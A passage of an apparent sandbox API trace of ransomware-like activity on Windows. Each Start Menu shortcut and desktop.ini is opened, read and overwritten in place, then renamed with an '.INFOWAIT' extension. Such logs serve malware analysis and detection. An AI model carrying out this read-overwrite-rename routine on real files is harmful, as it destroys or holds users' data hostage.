PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.930] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.930] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x491 [0136.930] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.931] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.931] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x491, lpOverlapped=0x0) returned 1 [0137.001] VirtualAlloc (lpAddress=0x0, dwSize=0x491, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.002] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.002] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x491, lpOverlapped=0x0) returned 1 [0137.002] CloseHandle (hObject=0xad4) returned 1 [0137.002] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" [0137.002] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.INFOWAIT" [0137.002] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.infowait")) returned 1 [0137.003] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.004] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.004] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.004] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.004] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbef [0137.004] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.004] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.004] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbef, lpOverlapped=0x0) returned 1 [0137.071] VirtualAlloc (lpAddress=0x0, dwSize=0xbef, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.071] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.071] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbef, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbef, lpOverlapped=0x0) returned 1 [0137.072] CloseHandle (hObject=0xad4) returned 1 [0137.072] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" [0137.072] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT" [0137.072] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk.infowait")) returned 1 [0137.073] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.074] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.074] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.074] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.075] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x532 [0137.075] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.075] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.075] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x532, lpOverlapped=0x0) returned 1 [0137.078] VirtualAlloc (lpAddress=0x0, dwSize=0x532, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.078] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.078] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x532, lpOverlapped=0x0) returned 1 [0137.079] CloseHandle (hObject=0xad4) returned 1 [0137.079] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" [0137.079] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk.INFOWAIT" [0137.079] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sidebar.lnk.infowait")) returned 1 [0137.079] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.080] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.081] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.081] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.081] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0137.081] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.081] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.081] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 [0137.083] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.083] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.083] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0137.083] CloseHandle (hObject=0xad4) returned 1 [0137.084] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" [0137.084] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT" [0137.084] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.infowait")) returned 1 [0137.084] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.085] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.086] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.086] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.086] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x548 [0137.086] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.087] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.087] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x548, lpOverlapped=0x0) returned 1 [0137.111] VirtualAlloc (lpAddress=0x0, dwSize=0x548, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.111] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.111] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x548, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x548, lpOverlapped=0x0) returned 1 [0137.112] CloseHandle (hObject=0xad4) returned 1 [0137.112] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" [0137.112] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.INFOWAIT" [0137.112] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk.infowait")) returned 1 [0137.113] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.114] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.114] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.114] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.114] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x52e [0137.114] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.115] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.115] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x52e, lpOverlapped=0x0) returned 1 [0137.137] VirtualAlloc (lpAddress=0x0, dwSize=0x52e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.138] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.138] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x52e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x52e, lpOverlapped=0x0) returned 1 [0137.138] CloseHandle (hObject=0xad4) returned 1 [0137.138] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" [0137.138] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk.INFOWAIT" [0137.138] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk.infowait")) returned 1 [0137.139] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.140] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.140] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.140] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.140] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ba [0137.140] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.140] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.140] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ba, lpOverlapped=0x0) returned 1 [0137.142] VirtualAlloc (lpAddress=0x0, dwSize=0x4ba, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.143] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.143] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ba, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ba, lpOverlapped=0x0) returned 1 [0137.143] CloseHandle (hObject=0xad4) returned 1 [0137.143] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" [0137.143] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk.INFOWAIT" [0137.143] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk.infowait")) returned 1 [0137.144] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.144] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.145] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.145] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.145] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x60b [0137.145] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.145] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.145] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x60b, lpOverlapped=0x0) returned 1 [0137.155] VirtualAlloc (lpAddress=0x0, dwSize=0x60b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.156] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.156] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x60b, lpOverlapped=0x0) returned 1 [0137.156] CloseHandle (hObject=0xad4) returned 1 [0137.156] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" [0137.156] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.INFOWAIT" [0137.156] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.infowait")) returned 1 [0137.157] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.158] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.158] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.158] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4de [0137.158] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.159] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.159] ReadFile (in: hFile=0xad4, 